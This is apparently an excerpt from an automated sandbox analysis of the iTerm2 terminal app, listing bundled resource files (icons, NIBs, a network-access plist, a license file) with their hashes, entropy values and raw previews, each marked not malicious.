Preview:	MM....... P8$....BaP.d6...DbQ8.V-..FcQ..v=..HdR83.H.T..@...[...e..t.^........4.)?...\|......Qg...........6....u..p.^.............8..6.U?.@.....H.,.{M.$."........+...`........j.5..r......r...... .8..8.!.H....d2YHc.(.R......8..C\e.......`.4[...S..............).9..C..X...^D..7../0?.PN3........>.c..!. ...@............q......E..'?.p8+.'.Jz..P...G..v...<..h..F.c.....!d...@.\..x.}6..E.D.h\....J..@..........a...........q......R..s...V.........8...y.$........O/.3../+`9.....@..S2.......r..........L..........3..&..)...$....B..`..~.g.X..@....(1.O. .F..A`.$..`.0..r u.G.v..'....g....F....&0.%'..F...@.\|..X.\|...].FN.....0.V.. 8...@.. ...v....7..\....H....b.q^.0:...{....H.,........A "g8*}......#.6D.+.<qH.(:..'.......>'..h......h.6....H.R...4...,f....p...f....n..............B............&...........&...........................................................................................................&...................................................(...........1.........0.=...........R..........

/Applications/iTerm.app/Contents/Resources/FindCursorCell1.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 200 x 200, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	7.678888261812832
Encrypted:	false
SSDEEP:	48:/qQNn2qz/cJ3tiiU4hw9cKp95jzFAoWp1j5scTWmuBAylDFgmLwlQRjrFyDnos:SY2W/6iiXfuWoe1jNT+qGDFbYQRjMDos
MD5:	37B37AB91073FEA5AB4599651B48C3E3
SHA1:	1711FF286CB3D41906CF8235631464FF684050F8
SHA-256:	23F9E0279910267DA3531F73D775271E397C64BCE765EF4E1C20425F3ABC127C
SHA-512:	E2308F1860718D55CC8532DA8196202398F09F2E0D5DBC3906863C4E4589805A4A3A67053179E11DF44FDCA39408CD72699F552F3F86DFDD5E5DDD0A4DD38A70
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............X......tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:003DA0F3CDAE11E48146DA25C06E4429" xmpMM:DocumentID="xmp.did:003DA0F4CDAE11E48146DA25C06E4429"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:003DA0F1CDAE11E48146DA25C06E4429" stRef:documentID="xmp.did:003DA0F2CDAE11E48146DA25C06E4429"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.EMP....IDATx...c.,........m..m..m..m..qmt.......DD...........Z..Q..J.R..$....@@........ ......U..hd.j........Ul..]..

/Applications/iTerm.app/Contents/Resources/FindCursorCell2.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 200 x 200, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3539
Entropy (8bit):	6.928358504607291
Encrypted:	false
SSDEEP:	48:pqQNn2qGT0cJ3xeiES/JdlxzUPieEZOVTMkyfCkncvcDnlJDiQc:EY2HQ2eiESxdllNdZOVTWf3ycDDm5
MD5:	EA267FBF0FE99CFAE79C9420E32C5D12
SHA1:	9D4EB8F68AEC6BA277862C5FD32308CF76C51F38
SHA-256:	0CBBF7B48E3710E737FCBE7779CF45E7F027B738C034A0734FABEDE474A4EE3D
SHA-512:	B3A30FCEF3928FFD65DFCEDEA39186FFF36488C4A5071F4F5F50DEC90D98AD4AE8536CF874C96553C4CE4484342C8814D916D77ACA63197A15D523F8CC858E54
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............^.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:904DA968CDB111E48146DA25C06E4429" xmpMM:DocumentID="xmp.did:904DA969CDB111E48146DA25C06E4429"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:003DA0F5CDAE11E48146DA25C06E4429" stRef:documentID="xmp.did:003DA0F6CDAE11E48146DA25C06E4429"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.q.?....PLTE..........................................................................................................

/Applications/iTerm.app/Contents/Resources/FindCursorCell3.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 200 x 200, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	2962
Entropy (8bit):	7.639963256738415
Encrypted:	false
SSDEEP:	48:sqQNn2qJTFcJ3LSMKiIRFFhEvpB9hI0Xwu/ZwxUqeVSkFyeS7P5SdmSeS:1Y2A5koiSFFhEvprO0Xwu/Zw6qe4eyxM
MD5:	ABA1ECE05BD7B68F94B5DE5EC6B966D5
SHA1:	84BDE5C915DF54AF6E50F6636D288D1F9213EC55
SHA-256:	C097C0F1C655C7E7015F172A370D5C3C9D84FC3A69F84B2BF6B0666634EF756A
SHA-512:	274A1017175A7CB77002902B746DD32944B1EFDC9CC241B8DD50FC177986C88469B584E3D6515398BB8FD3C12997CB54D09C0AC6B4E7E887E0054DA655553577
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............Qf....$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:904DA96CCDB111E48146DA25C06E4429" xmpMM:DocumentID="xmp.did:904DA96DCDB111E48146DA25C06E4429"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:904DA96ACDB111E48146DA25C06E4429" stRef:documentID="xmp.did:904DA96BCDB111E48146DA25C06E4429"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>,7f.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx......u................Z.0.ie9i.N...5.vk1.DZ..meV....V.+.B...e...eN...Z........4..x-.w...}....'.$I.$I.$I.

/Applications/iTerm.app/Contents/Resources/FindCursorCell4.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 200 x 200, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	3145
Entropy (8bit):	7.693696561972076
Encrypted:	false
SSDEEP:	96:sY2gbgsioZE8CipVoo4WFH68RfclqrbfnNnBWw75MM:s58CQV34WFJRfcsrLNc2l
MD5:	C5FDBD2ACF40923B61D22A69EE3FBD19
SHA1:	49EEF3740EA4CCC788F4929D72FBDBA328B7055E
SHA-256:	398115E379EBE6D3A2398EFC09EF5BE820ADBCC2DBA87A6A6A1D8E70E0525F49
SHA-512:	4BB8E1FE69FD55629B61403126083CFB904B826AF61E4BABDEFA8794C24D739DA00485C0C431E34E41017A385A0B15D9F727268B2F1B8F984CEFDDDB52248000
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............Qf.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:904DA970CDB111E48146DA25C06E4429" xmpMM:DocumentID="xmp.did:904DA971CDB111E48146DA25C06E4429"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:904DA96ECDB111E48146DA25C06E4429" stRef:documentID="xmp.did:904DA96FCDB111E48146DA25C06E4429"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..&.....IDATx....s.U...P..$..;"". e..AE.......c.E.f..@..1("2 0...CS. E.t...).#.$.i..u^.y....-....{........}...s..b.X,.

/Applications/iTerm.app/Contents/Resources/FindView.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13664
Entropy (8bit):	6.726495715028205
Encrypted:	false
SSDEEP:	384:aoXi0gJEffE0NwRUYNg7e8M5hVsVnOhkYe/sWeRTcvo:Hi0gJE0RUYyxnOhkgmo
MD5:	E4A3DEB1BC643DDAEBF92B815FB75E80
SHA1:	E5AF498B6271BEAEB4A888D7FDD1E9BBDE8D8816
SHA-256:	3E5C309A410682734DBCD24731A77857EF9620B2B793ECB7D532F1E6D01E0F1D
SHA-512:	2CD578761A1AD3715CC3AE5C88214BC0276E02F528500B49E539B57B13172DDFC3EED0CE2FAC672E03F6BCC36A8678EC7B4F11A6A66B6E226A956D29FB6CDCC9
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.U._......................................................... .$.-...../.0.4.8.9.<.=.A.G.M.\.].l.q.}.~.................................................................................+.,.3.4.7.8.?.@.C.D.G.R.Z.[.b.c.l.s.t.{.\|.................................................:...........x.........?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.[.^U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&.'...(.).*[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_..iTermDropDownFindViewController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObje

/Applications/iTerm.app/Contents/Resources/GoBack.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9910
Entropy (8bit):	6.338150291229759
Encrypted:	false
SSDEEP:	96:4qXL61hWKVYPjxTK6MT0D5MdtbZPAVwzVNiRa1hWKVYPjxTK6MT0D5MdtbZPAVwy:9XqMjRUYNMtKw2YMjRUYNMtKwy
MD5:	3911538E44F78AF37F6FCF4FAE6D2D95
SHA1:	EF1F063A4B005175D795DA0A9516AD250F3ED801
SHA-256:	56DFD8C99467EFFB4319F20CDD80BDEA96D23AB3CCC426EB50686EED1102DBFB
SHA-512:	B6EFCE2F5FC16A91F2F692A822B7328A9D1F65583BAB5D771D738F2115491385307EC6614A064188D7B3317D31E635187A70273AECA925B12BEE1373BA0F23B0
Malicious:	false
Reputation:	low
Preview:	MM....... P8$..w..^0hd1..z!...0.....N.....>....tj.3.9.#.....VE.d.C..........a........}.R.?........../...J.x.........=........W5.H..O..2......A......{........:.............<..D.+......O@;2...........j.G................................................................................................................................................................................................(...........1...........=...........R...........S...........s..............................GoBack@2x.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL..

/Applications/iTerm.app/Contents/Resources/GoForward.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	9914
Entropy (8bit):	6.339178234424286
Encrypted:	false
SSDEEP:	96:Ihi21hWKVYPjxTK6MT0D5MdtbZPAVwzVCIh41hWKVYPjxTK6MT0D5MdtbZPAVwz2:IhFMjRUYNMtKwM7MjRUYNMtKwy
MD5:	B83CF0728AAB8E343A267BA6591B7C4F
SHA1:	E374D95B94D91E450719EF8925849BC30DC5AFC5
SHA-256:	2321302C67F567D2E66BCDD809D061DE1A59B34F7548BD59660B62D5108460FC
SHA-512:	503F0F9B3C82FB84B9C3D6216D612D6E8881F4215895FB8FB9FCA37C66A9239DCD2A9B2670B6975CDC7385F4F7BB62661102D8C8D2DC4324250726FF15585A64
Malicious:	false
Reputation:	low
Preview:	MM.*...... P8....x.!P.d..............H......e.....b0s.........-.W2h..".R?.@.....A.'.H#..t=.P/...p..!..HY...S........g.##..........E..Z......0..{[.o.....ID.TD..........1%b.?U.. ...,... ....W.]."j)........5.b.........................................................................................................................................................................................(...........1...........=...........R...........S...........s..............................GoForward@2x.png..tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$

/Applications/iTerm.app/Contents/Resources/Hamburger.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	8544
Entropy (8bit):	6.586139741239312
Encrypted:	false
SSDEEP:	96:pATT1hWKVYPjxTK6MT0D5MdtbZPAVwzVmqCfeN26MT0D5MdtbZPAVwzV0:peMjRUYNMtKwbCJYNMtKwy
MD5:	3AFA553167F9CD1D8DFF29344BC630C7
SHA1:	D5C070E76CD2A208D1537C8D4D674303D6C40134
SHA-256:	9E1D9AF8C113742E75593C1C4D42A1ED72A2DB60BBD119BD5536C0B334729995
SHA-512:	95598E304D325D46F5E832A5AADC3D870F1BF5564861C421BFD54815A8549440B208B184623E19487B068CDB9EE2E957BBBEF7C4B0E376634DDB76086262E2D7
Malicious:	false
Reputation:	low
Preview:	MM....L.?..8$........d....A`Hx\|F.y....h4b7.....x..)#...........r..&k6..` ......................................................................................^...........................................................C...........N...........V.............(...........1.........l.=...........R...........S...........s.........\|.......H.......H....Hamburger.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$....roRO.......deDE...N...8itIT...N....svSE...8....zhCN........jaJP...&...&elGR......LptPO...R...vnlNL...@....esES...L....thTH...2...T

/Applications/iTerm.app/Contents/Resources/IBarCursor.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10210
Entropy (8bit):	6.39205369586689
Encrypted:	false
SSDEEP:	96:Z7S1hWKVYPjxTK6MT0D5MdtbZPAVwzV9twy53xP6sZ1hWKVYPjxTK6MT0D5Mdtbc:ZiMjRUYNMtKwTmS5pMjRUYNMtKwy
MD5:	9C62A1B7C26F21E4DC2EEBB8DFD3BCE6
SHA1:	189BD24D1D56D0866FBB38D99E2628E52A3A347E
SHA-256:	0DADB3AFAED88470A15905BB9F1881091B61A184D8A9F678036DDB4D5462284B
SHA-512:	99DB55C7300A84046BCC47D6ADC8ABC49E55719508D97339769ED12ED6D1AE1AE4DA106B976D626C482CF147154D25532AC6A477D51AA1D32002F27688068903
Malicious:	false
Reputation:	low
Preview:	MM....z.3..0.\|........(e....Q8.6%...!1..v;....1.$^?"..c1H.rU..E.....!4..&s...u<.O...\..@....:%&oG.S.tJ.7... PH4.....e....................................................................................................................................................q...........\|.........................(...........1...........=...........R...........S...........s.................H.......H....IBarCursor.png..tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$....roRO.......deDE...N...8itIT...N....svSE...8....zhCN........jaJP...&...&elGR......L

/Applications/iTerm.app/Contents/Resources/IBarCursorXMR.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10392
Entropy (8bit):	6.419001480442749
Encrypted:	false
SSDEEP:	192:oPGpMjRUYNMtKwU+PVy6ybpMjRUYNMtKwy:oPGpwRUYNg7Zy6yFwRUYNg7y
MD5:	123454DC0158C85BA5FEC15ABCEB222C
SHA1:	B8D701FBF1C6AF806DF25A1CBCC7BF1F2F8C2BFB
SHA-256:	961B62FDB1C9EA2726DA57E76C9D449CE3417EDF61A97F36ECC1FC3EA51BDFD0
SHA-512:	49A0FC8614DFD513120611711A8FC6B0F4A6BEC33188CB3769419C0663601F3C46393994457F104A14CD42594BA4FB602AE74C5787725E65FCFCB590FEBFBB17
Malicious:	false
Reputation:	low
Preview:	MM......3..0.\|........(e....Q8.6%...!1..v;....1.$^?"..c1H.rU..E.........&..T.5........]4..iS...{..A..)=2.&.Pj...Z.1.W.p(%JF.QNjrX...................................................................................................................................................{.....................................(...........1...........=...........R...........S...........s.................H.......H....IBarCursorXMR.png.tiffutil v326.1.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....heIL...$....roRO.......deDE...N...8itIT...N....svSE...8....zhCN........jaJP...&...&

/Applications/iTerm.app/Contents/Resources/Info.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	13204
Entropy (8bit):	6.76520444406298
Encrypted:	false
SSDEEP:	192:mhFayw9MjRUYNMtKwHHHgHJRMtB+hxoEMjRUYNMtKwy:mhS9wRUYNg7nHgH3MT+oEwRUYNg7y
MD5:	FA1501BAD0DFB9700285DB22F63F8F82
SHA1:	8B0605C3226895F6D714C45C864FE22C1D7862D0
SHA-256:	28D3CF1175A13F9CA65A09037B39145F6600D2D198E443ABA7609A3B81CDF83E
SHA-512:	09BD8A961E139A485B9CC88B0E329C0DDB92A001F00AEFB169374E9907BC1844A34078BD0E4DAFF8D9CBCF46D9FC9FFC9473620117325313137D6A1AE2AE8A5D
Malicious:	false
Reputation:	low
Preview:	MM....l.. P8$....BaP.d6...DbQ8.Ht!...................6....9....f!..X.Y.....(...y@.Ap.h.......X..2.B......#.........v...p..&..........."@.Z....<....h....@.....j... ................ ...`.s...9.9$...?..lD6...@.H.,....@....I.i.. .L.0..@. .B...$@...t....@. ..4H.-..`.0....@..Y...........U..c...x.....Dm....u......@.x...kF.......I.....S..,h.....b..$..0..@.^..IR@.'.....pp.H...#..O...=.S.....20m..N...F....1......3.......Z.5......... f..q..c...."."6......:0.>.r...&1..'a\|.E.........~...>cJ.Q..@......{ 5...\..K....f3\|...+4.<.Q......h..!.(Ud).;.....>..._...4..!qBi1.YXcW4..d..R.fY.!.....sU..2..4.M.f...\..L%Vh..@.........p`i#...w....n...5..x....0..av..p7..\..A]W...h......4..\u.Xr....0....k5~.w....%1.3.....;P.S..Y.\3.K.V...z..iw.d....\..N%WB..s+....5...pBi.hH..SaH.l0Y.W....G.....Cd..6.;N{..$...d[.R...2......&K<6a....:+.../.<...&$....p.....r.uH/X..U...h...f.......2+.... .+)%..".Q...,z%. ~r........o...7...."....!P.O.... ..."m.!...B..6!..S.....p..i..?4.g...h. ....C.P...`0..4...p#.e..5.Q......3..

/Applications/iTerm.app/Contents/Resources/InstantReplay.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	12978
Entropy (8bit):	6.672298898331209
Encrypted:	false
SSDEEP:	384:olB5g6E0t/wRUYNg7+MsAfE1SMC9UdZQoykY:cg+YRUYy3fE1SH9z
MD5:	CC57434494C5B2DC6AA9F159D1E5C142
SHA1:	1C5213152260F4221575D803A1DE2D0FF9EAA9A5
SHA-256:	FAE865A52D4A952B8C20C133F842671D490DD93E98BF7CEF70E35182EB9D89B8
SHA-512:	9E8EB751F8915B6CE48E6E3655633E07F97CBD061B340DAE7AA5797923E335924219234D93AA6BC0C4C4283B20AE973356184EE7331C5F9F3AD45E70FB72D943
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.+.3.4.;.>.B.F.U._.........................................................#.$.)..0.<.=.B.C.F.G.M._.`.a.v.w.x.y.\|...................................................#.$.%.&.4...5.9.C.D.G.H.K.L.M.N.S.V.W.].^.c.d.h.m.n.s.t.....:.............w.........q......................................."............U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys.....x.v.p...........w..&.'...(.).[NSClassName_..IBClassReference........,.-....././.(.2\IBModuleName_..IBModuleProvider[IBClassName........_."iTermInstantReplayWindowController..5.6.7.8Z$classnameX$classes_..IBClassReference..9.:_..IBClassReferenceXNSObject..5.6.<.=^NSCustomObject..<.:..?...@.AZNS.objects.....5.6

/Applications/iTerm.app/Contents/Resources/InternetAccessPolicy.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1255
Entropy (8bit):	4.977587252526487
Encrypted:	false
SSDEEP:	12:TMHdgo+tJVEdQiCXF+AnZYg1tKGtgwZcV+feBbYsq44+EtXfZ+pXqYKGtwwZB+wB:2dfyiwcMZYg1ltU+WKsAz+pXqctp5
MD5:	1C6EC965B62A3A99E81FD9258A6FACB3
SHA1:	594665D940C078ED9F22E9C9EA5618807E568D16
SHA-256:	05FA6D7A812170075AA5BCA8A54ECA0EB83F8B76A709C86263C93B56329FD35F
SHA-512:	BF6F7DBC677E5755E5F1DFB88B5E6DDC3941097CEB920E12F726A5CCD5A58196260DDD576E7A3C7ADF9C339BFF838DF767D53D0BC311C2F56C84CC4376AE3603
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>ApplicationDescription</key>..<string>iTerm2 is a free terminal emulator.</string>..<key>Connections</key>..<array>...<dict>....<key>IsIncoming</key>....<false/>....<key>Host</key>....<string>iterm2.com</string>....<key>NetworkProtocol</key>....<string>TCP</string>....<key>Port</key>....<string>443</string>....<key>Relevance</key>....<string>Default</string>....<key>Purpose</key>....<string>iTerm2 needs to connect to iterm2.com to check for and download software updates.</string>....<key>DenyConsequences</key>....<string>If you deny this connection, you won't be notified when a new version is released and you'll be unable to update the Python runtime for the scripting API.</string>...</dict>...<dict>....<key>IsIncoming</key>....<false/>....<key>Host</key>....<string>*</string>....<key>NetworkProtocol</key>....<s

/Applications/iTerm.app/Contents/Resources/Later.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10260
Entropy (8bit):	7.199907177608411
Encrypted:	false
SSDEEP:	192:4CK8XqYNMtKwEYzIcURxsrJxNZYNMtKwy:478XqYNg7EYz7lJxNZYNg7y
MD5:	FC418BBC701BF66D5E020F3C52036AB0
SHA1:	DE14E1FED432B165985E68DC6F27BCAD30FC0D65
SHA-256:	28ABD42CA01232A7FE835DC0708BDBE177044D0FF080B6BDC02F0E2EC4308CDD
SHA-512:	BC6EE82F55D8F09C039850F7F0649AD13F39FA033284286948D8C97B13004C2A7AAF149EC68DFD7870023C47A68B3E8EBEB79C31A6ACC2B833013E6697EC3203
Malicious:	false
Reputation:	low
Preview:	MM......?.@.$....BaP.d6...?..8.V-....(...1............................:..N.4q..\|....`R%...K..(...<.(G.(........p0....^.'.m..~.d..p...=...jx...\|?....v......70A.(V?_....b.Z....p.>.d...h3............7....0.kO.4.H.........P ...[k..".D.@..SQ.;....$.....k]..S.`..oI....::0.Z...#.R[.......K.5g~.]v..d,..AhP........Sp........i.p....j..@&......+...."@@...).....Y.\|.$9u.......pR.....3.G8....h.+......`H.y...........f.......F.F..7...4..@B......~..P....p.9..".P..@v....vG....}.`..=....(....$2........T....!.D.0.....>..Y.i...l.......$@...%.J&.......!.[.#.4D.'..}....<..X. ..h.&...,....Jx...Z&.d.0.....E..hHf.......2.i .r.w...DF.E.......F."X........6..Y....U....I.@.<........ P..W..e ..C...q.u....?..u...p0.ObH5.}.P..b...&6.A..J....~..)... !......C....1...N(..a....i....y.h........,..@...!........t..I.~..i0...U...G(.~...t!.`aL3.@...!I.......Z...." a.RJ...%n!b..@3......YX-..x!...b...e.V.u........P`....!.)...$0....z..d.^.........Rx....j....f..).Y......4.......E.T+....L8...,....[...5....!.b....".........g2...

/Applications/iTerm.app/Contents/Resources/Licenses.txt Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	UTF-8 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	43366
Entropy (8bit):	5.302701910448024
Encrypted:	false
SSDEEP:	768:pMCwzB0lRDLEpdzBh0/QZqllB0xzBy8CwzBwlRDL4pdzBF0/QZqlllLGFJjpmB0y:pMC00lREp/h0/QZwB0by8C0wlR4p/F0B
MD5:	4452AED1AA4CC5485431E61B1482778F
SHA1:	DFFD666504C04714E01D79E7630E4D53C21C666F
SHA-256:	87AD30A235B8D7C5B16BF0B08FC9D4D3FB0A89C665BA9EBFD4B0FEC144F3F4E6
SHA-512:	7541DD3D7A8844E309D8C3AE38928AD57A3EFF5F17B6AB6595A241A86ECC5739EA452EA879681119251BB8998682FACF70289A8DE591614F8C412D9A3821D2BB
Malicious:	false
Reputation:	low
Preview:	NMSSH/LICENSE.Copyright (c) 2013 Nine Muses AB..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONN

/Applications/iTerm.app/Contents/Resources/LogoFrame.png Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	PNG image, 96 x 96, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	6.840781629990032
Encrypted:	false
SSDEEP:	24:71he91Wwh82lYSKwPd8RVcCT3ohyJ3VwdmPtEG5LqJYe0LavTrQPfz:hqQvnLIyhJJ3O4S+iYnGvTrOr
MD5:	3EC49AD3D79D5944C4466FFEF98424E3
SHA1:	E713CABBCD1D66A729C6408199664F182360239E
SHA-256:	69B202C9695852D18BE121E80647EA2EE0C88B0D540FB8B1FABA23B45076C5FA
SHA-512:	D92965613E11F78BA6D4DB18925B53AF7969A403DC761DF22CAE377C44843DED1FD9DB176217C57FAC9FEDBADB35DABFC9268A922B5ECE4C9B6DD7568DDB4E9B
Malicious:	false
